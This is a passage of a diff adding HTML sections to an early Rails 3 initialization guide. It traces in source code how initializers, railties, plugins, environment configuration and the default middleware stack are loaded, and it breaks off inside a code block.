+<p>Now that <tt>Rails::Application::Bootstrap</tt> has finished loading, we can continue on with our initialization. We saw that it called this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+initializers = Bootstrap.initializers_for(self)
+</pre>
+</div>
+</notextile>
+
+<p>Calling <tt>initializers_for</tt>, defined like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def initializers_for(binding)
+    Collection.new(initializers_chain.map { |i| i.bind(binding) })
+  end
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>binding</tt> argument here is <tt>YourApp::Application</tt> and this will return a new <tt>Initializer</tt> object for all the initializers in <tt>initializers_chain</tt> for this particular context. <tt>initializers_chain</tt> goes like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def initializers_chain
+    initializers = Collection.new
+    ancestors.reverse_each do |klass|
+      next unless klass.respond_to?(:initializers)
+      initializers = initializers + klass.initializers
+    end
+    initializers
+  end
+</pre>
+</div>
+</notextile>
+
+<p>The ancestors list is relatively short for <tt>Rails::Application::Bootstrap</tt>, consisting of itself and <tt>Rails::Initializable</tt>. Rails will go through these ancestors in reverse and check them all if they <tt>respond_to?(:initializers)</tt>. <tt>Rails::Initializable</tt> does not and so it&#8217;s skipped. <tt>Rails::Application::Bootstrap</tt> of course does, and this is the list of initializers we covered earlier.</p>
+<p>After <tt>initializers_chain</tt> is finished, then they are <tt>map</tt>&#8217;d like this, with the <tt>binding</tt> of course being <tt>YourApp::Application</tt> as explained previously.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def initializers_for(binding)
+    Collection.new(initializers_chain.map { |i| i.bind(binding) })
+  end
+</pre>
+</div>
+</notextile>
+
+<p>Wow. All that to cover just the first line in the <tt>initializers</tt> method for <tt>Rails::Application</tt>.</p>
+<h3 id="railties-initializers">19 Railties Initializers</h3>
+<p>This section covers the loading of the initializers and we will go into depth for each initializer in the next section, as they make more sense explained in their chain.</p>
+<p>The second line in <tt>Rails::Application#initializers</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def initializers
+    railties.all { |r| initializers += r.initializers }
+  end
+</pre>
+</div>
+</notextile>
+
+<p>calls <tt>railties</tt>, which is defined like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def railties
+    @railties ||= Railties.new(config)
+  end
+</pre>
+</div>
+</notextile>
+
+<p>This sets up a new <tt>Rails::Application::Railties</tt> object like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def initialize(config)
+    @config = config
+  end
+</pre>
+</div>
+</notextile>
+
+<p>And calls <tt>all</tt> on it:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def all(&amp;block)
+    @all ||= railties + engines + plugins
+    @all.each(&amp;block) if block
+    @all
+  end
+</pre>
+</div>
+</notextile>
+
+<p>This <tt>all</tt> method executes code on all the <tt>Rails::Railtie</tt> and <tt>Rails::Engine</tt> subclasses, retreived by the <tt>railties</tt> and <tt>engines</tt> methods defined right after <tt>all</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def railties
+    @railties ||= ::Rails::Railtie.subclasses.map(&amp;:new)
+  end
+
+  def engines
+    @engines ||= ::Rails::Engine.subclasses.map(&amp;:new)
+  end
+</pre>
+</div>
+</notextile>
+
+<p>By default, the railties are:</p>
+<ul>
+	<li><tt>ActiveSupport::Railtie</tt></li>
+	<li><tt>I18n::Railtie</tt></li>
+	<li><tt>ActionDispatch::Railtie</tt></li>
+	<li><tt>ActionController::Railtie</tt></li>
+	<li><tt>ActiveRecord::Railtie</tt></li>
+	<li><tt>ActionView::Railtie</tt></li>
+	<li><tt>ActionMailer::Railtie</tt></li>
+	<li><tt>ActiveResource::Railtie</tt></li>
+	<li><tt>Rails::TestUnitRailtie</tt></li>
+</ul>
+<p>And these all descend from <tt>Rails::Railtie</tt>.</p>
+<p>The default <tt>engines</tt> are <tt>[]</tt>.</p>
+<p>The <tt>plugins</tt> method it calls is a little more complex:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def plugins
+    @plugins ||= begin
+      plugin_names = (@config.plugins || [:all]).map { |p| p.to_sym }
+      Plugin.all(plugin_names, @config.paths.vendor.plugins)
+    end
+  end
+</pre>
+</div>
+</notextile>
+
+<p><tt>@config.paths</tt> is defined in the <tt>Rails::Application::Configuration</tt> like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def paths
+    @paths ||= begin
+      paths = super
+      paths.app.controllers &lt;&lt; builtin_controller if builtin_controller
+      paths.config.database    &quot;config/database.yml&quot;
+      paths.config.environment &quot;config/environments&quot;, :glob =&gt; &quot;#{Rails.env}.rb&quot;
+      paths.log                &quot;log/#{Rails.env}.log&quot;
+      paths.tmp                &quot;tmp&quot;
+      paths.tmp.cache          &quot;tmp/cache&quot;
+      paths.vendor             &quot;vendor&quot;, :load_path =&gt; true
+      paths.vendor.plugins     &quot;vendor/plugins&quot;
+
+      if File.exists?(&quot;#{root}/test/mocks/#{Rails.env}&quot;)
+        ActiveSupport::Deprecation.warn &quot;\&quot;RAILS_ROOT/test/mocks/#{Rails.env}\&quot; won't be added &quot; &lt;&lt;
+          &quot;automatically to load paths anymore in future releases&quot;
+        paths.mocks_path  &quot;test/mocks&quot;, :load_path =&gt; true, :glob =&gt; Rails.env
+      end
+
+      paths
+    end
+  end
+</pre>
+</div>
+</notextile>
+
+<p>When we call <tt>@config.paths.vendor.plugins</tt> it will return <tt>"vendor/plugins"</tt>.</p>
+<p>If you&#8217;ve defined specific plugin requirements for your application in <em>config/application.rb</em> by using this code:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+config.plugins = [:will_paginate, :by_star]
+</pre>
+</div>
+</notextile>
+
+<p>or specific plugin loading using a similar statement such as this next one:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+config.plugins = [:will_paginate, :by_star, :all]
+</pre>
+</div>
+</notextile>
+
+<p>Then this is where the <tt>@config.plugins</tt> comes from. If you wish to load only certain plugins for your application, use the first example. If you wish to load certain plugins before the rest then the second example is what you would use.</p>
+<p>If <tt>config.plugins</tt> is not defined then <tt>:all</tt> is specified in its place. Whatever the <tt>plugin_names</tt> is specified as, is passed to <tt>Plugin.all</tt> along with the path to the plugins, <tt>@config.path.vendor.plugins</tt> (which defaults to <em>vendor/plugins</em>):</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def self.all(list, paths)
+    plugins = []
+    paths.each do |path|
+      Dir[&quot;#{path}/*&quot;].each do |plugin_path|
+        plugin = new(plugin_path)
+        next unless list.include?(plugin.name) || list.include?(:all)
+        plugins &lt;&lt; plugin
+      end
+    end
+
+    plugins.sort_by do |p|
+      [list.index(p.name) || list.index(:all), p.name.to_s]
+    end
+  end
+</pre>
+</div>
+</notextile>
+
+<p>As we can see here it will go through the paths and for every folder in <em>vendor/plugins</em> and <tt>initialize</tt> a new <tt>Rails::Plugin</tt> object for each:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def initialize(root)
+    @name = File.basename(root).to_sym
+    config.root = root
+  end
+</pre>
+</div>
+</notextile>
+
+<p>This sets the plugin name to be the same name as the folder so the plugin located at <em>vendor/plugins/by\_star_&#8217;s name is <tt>by</em>star</tt></notextile>. After that, the <tt>config</tt> object is initialized:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def config
+    @config ||= Engine::Configuration.new
+  end
+</pre>
+</div>
+</notextile>
+
+<p>and the root of the plugin defined as that folder. The reasoning for defining a <tt>root</tt> is so that the initializer called <tt>load_init_rb</tt> has some place to look for this file:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+initializer :load_init_rb, :before =&gt; :load_application_initializers do |app|
+    file   = Dir[&quot;#{root}/{rails/init,init}.rb&quot;].first
+    config = app.config
+    eval(File.read(file), binding, file) if file &amp;&amp; File.file?(file)
+  end
+</pre>
+</div>
+</notextile>
+
+<p>A little more on that later, however.</p>
+<p>If the plugin is not included in the list then it moves on to the next one. For all plugins included in the list (or if <tt>:all</tt> is specified in the list) they are put into a <tt>plugins</tt> local variable which is then sorted:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+plugins.sort_by do |p|
+    [list.index(p.name) || list.index(:all), p.name.to_s]
+  end
+</pre>
+</div>
+</notextile>
+
+<p>The sort order is the same order as which they appear in the <tt>config.plugins</tt> setting, or in alphabetical order if there is no setting specified.</p>
+<p>Now that we have our railties, engines, and plugins in a line we can finally get back to the <tt>all</tt> code:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def initializers
+    railties.all { |r| initializers += r.initializers }
+  end
+</pre>
+</div>
+</notextile>
+
+<p>This block will gather add the railties&#8217; initializers to it.</p>
+<h3 id="engine-initializers">20 Engine Initializers</h3>
+<p>The third line in this <tt>initializers</tt> method:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+initializers += super
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>super</tt> method it&#8217;s referring to is of course <tt>Rails::Engine.initializers</tt>, which isn&#8217;t defined on the class but, as we have seen before, is defined on the <tt>Rails::Railtie</tt> class it inherits from through the <tt>Rails::Initializable</tt> module. Therefore we can determine the initializers to be added are now the ones defined in <tt>Rails::Engine</tt>.</p>
+<h3 id="finisher-initializers">21 Finisher Initializers</h3>
+<p>The final set of initializers in this chain are those in <tt>Rails::Finisher</tt>. This involves running any after initialize code, building the middleware stack and adding the route for <em>rails/info/properties</em>.</p>
+<h3 id="running-the-initializers">22 Running the Initializers</h3>
+<p>Now that we have all the initializers we can go back to the <tt>run_initializers</tt> in <tt>Rails::Initializable</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def run_initializers(*args)
+    return if instance_variable_defined?(:@ran)
+    initializers.each do |initializer|
+      initializer.run(*args)
+    end
+    @ran = true
+  end
+</pre>
+</div>
+</notextile>
+
+<p>Now we finally have all the <tt>initializers</tt> we can go through them and call <tt>run</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def run(*args)
+    @context.instance_exec(*args, &amp;block)
+  end
+</pre>
+</div>
+</notextile>
+
+<p>You may remember that the <tt>@context</tt> in this code is <tt>YourApp::Application</tt> and calling <tt>instance_exec</tt> on this class will make a new instance of it and execute the code within the <tt>&block</tt> passed to it. This code within the block is the code from all the initializers.</p>
+<h3 id="bootstrap-initializers">23 Bootstrap Initializers</h3>
+<p>These initializers are the very first initializers that will be used to get your application going.</p>
+<h4 id="load_environment_config">23.1 <tt>load_environment_config</tt></h4>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+initializer :load_environment_config do
+    require_environment!
+  end
+</pre>
+</div>
+</notextile>
+
+<p>This quite simply makes a call to <tt>require_environment!</tt> which is defined like this in <tt>Rails::Application</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def require_environment!
+    environment = config.paths.config.environment.to_a.first
+    require environment if environment
+  end
+</pre>
+</div>
+</notextile>
+
+<p>We&#8217;ve seen <tt>config.paths</tt> before when loading the plugins and they&#8217;re explained in more detail in the Bonus section at the end of this guide. <tt>config.enviroment</tt> for <tt>paths</tt> is defined like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+paths.config.environment &quot;config/environments&quot;, :glob =&gt; &quot;#{Rails.env}.rb&quot;
+</pre>
+</div>
+</notextile>
+
+<p><tt>Rails.env</tt> was defined way back in the boot process when <tt>railties/lib/rails.rb</tt> was required:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module Rails
+  class &lt;&lt; self
+
+    ...
+
+    def env
+      @_env ||= ActiveSupport::StringInquirer.new(ENV[&quot;RAILS_ENV&quot;] || ENV[&quot;RACK_ENV&quot;] || &quot;development&quot;)
+    end
+
+    ...
+
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>With <tt>ENV["RAILS_ENV"]</tt> and <tt>ENV["RACK_ENV"]</tt> not set to anything for our server booting process, this will default to <tt>"development"</tt>.</p>
+<p>Therefore the path to this config file line would look like this with a substitution made:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+paths.config.environment &quot;config/environments&quot;, :glob =&gt; &quot;development.rb&quot;
+</pre>
+</div>
+</notextile>
+
+<p>This method returns a <tt>Path</tt> object (which acts as an <tt>Enumerable</tt>).</p>
+<p>Back to <tt>require_environment</tt> now:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def require_environment!
+    environment = config.paths.config.environment.to_a.first
+    require environment if environment
+  end
+</pre>
+</div>
+</notextile>
+
+<p>And we&#8217;ve determined that <tt>config.paths.config.environment</tt> is <tt>Path</tt> object, and calling <tt>to_a</tt> on that object calls <tt>paths</tt> because it&#8217;s <tt>alias</tt>&#8217;d at the bottom of the <tt>Path</tt> class definition:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+alias to_a paths
+</pre>
+</div>
+</notextile>
+
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def paths
+    raise &quot;You need to set a path root&quot; unless @root.path
+    result = @paths.map do |p|
+      path = File.expand_path(p, @root.path)
+      @glob ? Dir[File.join(path, @glob)] : path
+    end
+    result.flatten!
+    result.uniq!
+    result
+  end
+</pre>
+</div>
+</notextile>
+
+<p>This returns an array of files according to our <tt>path</tt> and <tt>@glob</tt> which are <tt>config/environments</tt> and <tt>development.rb</tt> respectively, therefore we can determine that:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Dir[File.join(path, @glob)]
+</pre>
+</div>
+</notextile>
+
+<p>will return an <tt>Array</tt> containing one element, <tt>"config/enviroments/development.rb"</tt>. Of course when we call <tt>first</tt> on this Array we&#8217;ll get the first element and because that exists, we now <tt>require "config/environments/development.rb"</tt>.</p>
+<p>This file contains the following by default:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+YourApp::Application.configure do
+    # Settings specified here will take precedence over those in config/environment.rb
+
+    # In the development environment your application's code is reloaded on
+    # every request.  This slows down response time but is perfect for development
+    # since you don't have to restart the webserver when you make code changes.
+    config.cache_classes = false
+
+    # Log error messages when you accidentally call methods on nil.
+    config.whiny_nils = true
+
+    # Show full error reports and disable caching
+    config.consider_all_requests_local       = true
+    config.action_view.debug_rjs             = true
+    config.action_controller.perform_caching = false
+
+    # Don't care if the mailer can't send
+    config.action_mailer.raise_delivery_errors = false
+  end
+</pre>
+</div>
+</notextile>
+
+<p>This <tt>configure</tt> method is an <tt>alias</tt> of <tt>class_eval</tt> on <tt>Rails::Application</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+alias   :configure :class_eval
+</pre>
+</div>
+</notextile>
+
+<p>therefore, the code inside of the <tt>configure</tt> is evaluated within the context of <tt>YourApp::Application</tt>.</p>
+<p>The <tt>config</tt> object here is the same one that was set up when <em>config/application.rb</em> was loaded, therefore the methods called in this object will fall to the <tt>method_missing</tt> defined in <tt>Rails::Configuration::Shared</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def method_missing(name, *args, &amp;blk)
+    if name.to_s =~ config_key_regexp
+      return $2 == '=' ? options[$1] = args.first : options[$1]
+    end
+    super
+  end
+</pre>
+</div>
+</notextile>
+
+<p>This time we are using methods ending in <tt>\=</tt>, so it will set the key in the <tt>options</tt> to be the value specified. The first couple of options, <tt>cache_classes</tt>, <tt>whiny_nils</tt>, <tt>consider_all_requests_local</tt> are just simple keys on the <tt>options</tt>. If you recall how options were setup then you may be able to work out how the remaining <tt>action_view</tt>, <tt>action_controller</tt> and <tt>action_mailer</tt> methods work.</p>
+<p>Firstly, we&#8217;ll cover how <tt>config_key_regexp</tt> is defined:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def config_key_regexp
+    bits = config_keys.map { |n| Regexp.escape(n.to_s) }.join('|')
+    /^(#{bits})(?:=)?$/
+  end
+</pre>
+</div>
+</notextile>
+
+<p>And also <tt>config_keys</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def config_keys
+    (Railtie.railtie_names + Engine.engine_names).map { |n| n.to_s }.uniq
+  end
+</pre>
+</div>
+</notextile>
+
+<p><tt>config_keys</tt> in here returns:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+[:active_support, :i18n, :action_dispatch, :action_view, :action_controller, :active_record, :action_mailer, :active_resource, :test_unit]
+</pre>
+</div>
+</notextile>
+
+<p>With all of those keys coming from <tt>Railtie::railtie_names</tt>. If you&#8217;ve elected to not load some of the frameworks here they won&#8217;t be available as configuration keys, so you&#8217;ll need to remove them too.</p>
+<p>Now a reminder of how the <tt>options</tt> key is defined:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def options
+    @@options ||= Hash.new { |h,k| h[k] = ActiveSupport::OrderedOptions.new }
+  end
+</pre>
+</div>
+</notextile>
+
+<p>The values for these framework keys are <tt>ActiveSupport::OrderedOptions</tt> objects, with the class defined like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module ActiveSupport #:nodoc:
+    class OrderedOptions &lt; OrderedHash
+      def []=(key, value)
+        super(key.to_sym, value)
+      end
+
+      def [](key)
+        super(key.to_sym)
+      end
+
+      def method_missing(name, *args)
+        if name.to_s =~ /(.*)=$/
+          self[$1.to_sym] = args.first
+        else
+          self[name]
+        end
+      end
+    end
+  end
+</pre>
+</div>
+</notextile>
+
+<p>We can determine when we call <tt>config.action_view.debug_rjs</tt> it&#8217;s falling back to the <tt>method_missing</tt> defined on <tt>ActiveSupport::OrderedOptions</tt>, which ends up either setting or retrieving a key. In this case because we&#8217;re using a setter, it will set the key for this hash. This completes the loading of <em>config/environments/development.rb</em>.</p>
+<h4 id="load_all_active_support">23.2 <tt>load_all_active_support</tt></h4>
+<p>This initializer does exactly what it says:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+initializer :load_all_active_support do
+    require &quot;active_support/all&quot; unless config.active_support.bare
+  end
+</pre>
+</div>
+</notextile>
+
+<p>If you don&#8217;t want this to happen you can specify the <tt>config.active_support.bare</tt> option to <tt>true</tt> in either <em>config/application.rb</em> or any of your environment files.</p>
+<h4 id="preload_frameworks">23.3 <tt>preload_frameworks</tt></h4>
+<p>Remember earlier how we had all that stuff <tt>eager_autoload</tt>&#8217;d for Active Support?</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+initializer :preload_frameworks do
+    require 'active_support/dependencies'
+    ActiveSupport::Autoload.eager_autoload! if config.preload_frameworks
+  end
+</pre>
+</div>
+</notextile>
+
+<p>This is where it gets loaded. The <tt>eager_autoload!</tt> method is defined like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def self.eager_autoload!
+    @@autoloads.values.each { |file| require file }
+  end
+</pre>
+</div>
+</notextile>
+
+<p>With <tt>@@autoloads</tt> being</p>
+<ul>
+	<li>load_all_active_support</li>
+	<li>preload_frameworks</li>
+	<li>initialize_logger</li>
+	<li>initialize_cache</li>
+	<li>initialize_subscriber</li>
+	<li>set_clear_dependencies_hook</li>
+	<li>initialize_dependency_mechanism</li>
+</ul>
+<h4 id="active-support-initializers">23.4 Active Support Initializers</h4>
+<p>Active Support</p>
+<p><b>Active Support Initializers</b></p>
+<ul>
+	<li>active_support.initialize_whiny_nils</li>
+	<li>active_support.initialize_time_zone</li>
+</ul>
+<p><b>I18n Initializers</b></p>
+<ul>
+	<li>i18n.initialize</li>
+</ul>
+<p>The <tt>I18n::Railtie</tt> also defines an <tt>after_initialize</tt> which we will return to later when discussing the initializers in detail.</p>
+<p><b>Action Dispatch Initializers</b></p>
+<ul>
+	<li>action_dispatch.prepare_dispatcher</li>
+</ul>
+<p><b>Action Controller Initializers</b></p>
+<ul>
+	<li>action_controller.logger</li>
+	<li>action_controller.set_configs</li>
+	<li>action_controller.initialize_framework_caches</li>
+	<li>action_controller.set_helpers_path</li>
+</ul>
+<p><b>Active Record Initializers</b></p>
+<ul>
+	<li>active_record.initialize_time_zone</li>
+	<li>active_record.logger</li>
+	<li>active_record.set_configs</li>
+	<li>active_record.log_runtime</li>
+	<li>active_record.initialize_database_middleware</li>
+	<li>active_record.load_observers</li>
+	<li>active_record.set_dispatch_hooks</li>
+</ul>
+<p><strong>Action View Initializers *</strong></p>
+<ul>
+	<li>action_view.cache_asset_timestamps</li>
+</ul>
+<p><strong>Action Mailer Initializers *</strong></p>
+<ul>
+	<li>action_mailer.logger</li>
+	<li>action_mailer.set_configs</li>
+	<li>action_mailer.url_for</li>
+</ul>
+<p><b>Active Resource Initializers</b></p>
+<ul>
+	<li>active_resource.set_configs</li>
+</ul>
+<p><b>Rails::Engine Initializers</b></p>
+<ul>
+	<li>set_load_path</li>
+	<li>set_autoload_paths</li>
+	<li>add_routing_paths</li>
+</ul>
+<h4 id="rails-engine-new">23.5 <tt>Rails::Engine.new</tt></h4>
+<p>The <tt>new</tt> method doesn&#8217;t exist, but in Ruby classes calling <tt>new</tt> on the class instantiates a new instance of that class and calls the instance method <tt>initialize</tt> on it. This method for <tt>Rails::Application</tt> goes like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def initialize
+     require_environment
+     Rails.application ||= self
+     @route_configuration_files = []
+   end
+</pre>
+</div>
+</notextile>
+
+<h4 id="rails-application-require_environment">23.6 <tt>Rails::Application#require_environment</tt></h4>
+<p>This is not a crafty method like the previous ones, it just does as it says on the box:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def require_environment
+    require config.environment_path
+  rescue LoadError
+  end
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>config</tt> object here is actually another <tt>delegate</tt>&#8217;d method (along with <tt>routes</tt>), this time to <tt>self.class</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+delegate :config, :routes, :to =&gt; :'self.class'
+</pre>
+</div>
+</notextile>
+
+<p>So the method call is actually <tt>self.class.config</tt>.</p>
+<h4 id="rails-application-config">23.7 <tt>Rails::Application.config</tt></h4>
+<p>Defined back inside the <tt>class << self</tt> for <tt>Rails::Application</tt>, <tt>config</tt> makes a new <tt>Rails::Application::Configuration</tt> object and caches it in a variable called <tt>@config</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def config
+    @config ||= Configuration.new(Plugin::Configuration.default)
+  end
+</pre>
+</div>
+</notextile>
+
+<h4 id="rails-plugin-configuration-default">23.8 <tt>Rails::Plugin::Configuration.default</tt></h4>
+<p>The <tt>Rails::Plugin::Configuration</tt> class may be a bit difficult to find at first, but if you look for <em>plugin.rb</em> in Rails, you&#8217;ll find it in <em>railties/lib/rails/plugin.rb</em>. In this file, we see the following:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module Rails
+    class Plugin &lt; Railtie
+      ...
+    end
+  end
+</pre>
+</div>
+</notextile>
+
+<p>So we note here that <tt>Rails::Plugin</tt> descends from <tt>Rails::Railtie</tt> and secondly we note that the class <tt>Configuration</tt> is not actually included in the <tt>Plugin</tt> class, but it <b>is</b> in the <tt>Railtie</tt> class!</p>
+<h4 id="rails-railtie-configuration">23.9 <tt>Rails::Railtie::Configuration</tt></h4>
+<p>We&#8217;ve now tracked down the <tt>Plugin::Configuration.default</tt> method to being <tt>Railtie::Configuration.default</tt>, which is defined like this in <em>railties/lib/rails/configuration.rb</em>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Railtie::Configuration
+    def self.default
+      @default ||= new
+    end
+    ...
+  end
+</pre>
+</div>
+</notextile>
+
+<p>In this case we have effectively seen that it&#8217;s doing Configuration.new(Configuration.new). I&#8217;ll explain why.</p>
+<h4 id="rails-application-configuration-new">23.10 <tt>Rails::Application::Configuration.new</tt></h4>
+<p><span class="caps">TODO</span>: <span class="caps">CLEAN</span> <span class="caps">THIS</span> UP! This subclassing is only temporary and will probably not be separate in Rails 3. This is based solely off what the comment at the top of the Railtie::Configuration class says!</p>
+<p>The first thing to note here is that this class is subclassed from <tt>Railtie::Configuration</tt> and therefore the method here is actually <tt>Railtie::Configuration.new</tt>. As mentioned previously, calling <tt>new</tt> will make a new object of this class and then call <tt>initialize</tt> on it, which is defined like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def initialize(base = nil)
+    if base
+      @options    = base.options.dup
+      @middleware = base.middleware.dup
+    else
+      @options    = Hash.new { |h,k| h[k] = ActiveSupport::OrderedOptions.new }
+      @middleware = self.class.default_middleware_stack
+    end
+  end
+</pre>
+</div>
+</notextile>
+
+<p>This method is not called with a <tt>base</tt> argument for <tt>Plugin::Configuration.default</tt> but it is for the <tt>Configuration.new</tt> wrapped around it. We&#8217;ll go for the internal one first, since that&#8217;s the order Rails loads them in.</p>
+<h4 id="default_middleware_stack">23.11 <tt>default_middleware_stack</tt></h4>
+<p>This method is defined like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def self.default_middleware_stack
+    ActionDispatch::MiddlewareStack.new.tap do |middleware|
+      middleware.use('ActionDispatch::Static', lambda { Rails.public_path }, :if =&gt; lambda { Rails.application.config.serve_static_assets })
+      middleware.use('::Rack::Lock', :if =&gt; lambda { !ActionController::Base.allow_concurrency })
+      middleware.use('::Rack::Runtime')
+      middleware.use('ActionDispatch::ShowExceptions', lambda { ActionController::Base.consider_all_requests_local })
+      middleware.use('ActionDispatch::Notifications')
+      middleware.use('ActionDispatch::Callbacks', lambda { !Rails.application.config.cache_classes })
+      middleware.use('ActionDispatch::Cookies')
+      middleware.use(lambda { ActionController::Base.session_store }, lambda { ActionController::Base.session_options })
+      middleware.use('ActionDispatch::Flash', :if =&gt; lambda { ActionController::Base.session_store })
+      middleware.use('ActionDispatch::ParamsParser')
+      middleware.use('::Rack::MethodOverride')
+      middleware.use('::ActionDispatch::Head')
+    end
+  end
+</pre>
+</div>
+</notextile>
+
+<p>To really understand this method we need to dig a little deeper, down into where <tt>ActionDispatch::MiddlewareStack.new</tt> is defined and what in particular it does for us.</p>
+<h4 id="actiondispatch-middlewarestack-new">23.12 <tt>ActionDispatch::MiddlewareStack.new</tt></h4>
+<p><tt>ActionDispatch</tt> is our first foray outside of the <tt>railties</tt> gem, as this is actually defined in the <tt>actionpack</tt> part of Rails. The class definition is as important as the method:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module ActionDispatch
+    class MiddlewareStack &lt; Array
+
+      ...
+
+      def initialize(*args, &amp;block)
+        super(*args)
+        block.call(self) if block_given?
+      end
+    end
+  end
+</pre>
+</div>
+</notextile>
+
+<p>When it&#8217;s calling <tt>super</tt> here it&#8217;s actually calling <tt>initialize</tt> on the Array class and from this we can determine that an <tt>ActionDispatch::MiddlewareStack</tt> object is just an <tt>Array</tt> object with special powers. One of those special powers is the ability to take a block, and <tt>call</tt> it with <tt>self</tt>, meaning the block&#8217;s parameter is the object itself!</p>
+<h4 id="actiondispatch-middlewarestack-use">23.13 <tt>ActionDispatch::MiddlewareStack.use</tt></h4>
+<p>Previously we saw a chunk of code that I&#8217;ll re-show you stripped down:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def self.default_middleware_stack
+    ActionDispatch::MiddlewareStack.new.tap do |middleware|
+      middleware.use('ActionDispatch::Static', lambda { Rails.public_path }, :if =&gt; lambda { Rails.application.config.serve_static_assets })
+      ...
+    end
+  end
+</pre>
+</div>
+</notextile>
+
+<p>As explained in the previous section, we know that the <tt>new</tt> on <tt>ActionDispatch::MiddlewareStack</tt> takes a block and that block has one parameter which is the object itself. On this object we call the <tt>use</tt> method to include middleware into our application. The use method simply does this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def use(*args, &amp;block)
+    middleware = Middleware.new(*args, &amp;block)
+    push(middleware)
+  end
+</pre>
+</div>
+</notextile>
+
+<p>We&#8217;ll come back to this method later on.</p>
+<h4 id="actioncontroller-middleware-new">23.14 <tt>ActionController::Middleware.new</tt></h4>
+<p>This <tt>initialize</tt> method also is in a class who&#8217;s ancestry is important so once again I&#8217;ll show the ancestry and we&#8217;ll go up that particular chain:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module ActionController
+    class Middleware &lt; Metal
+
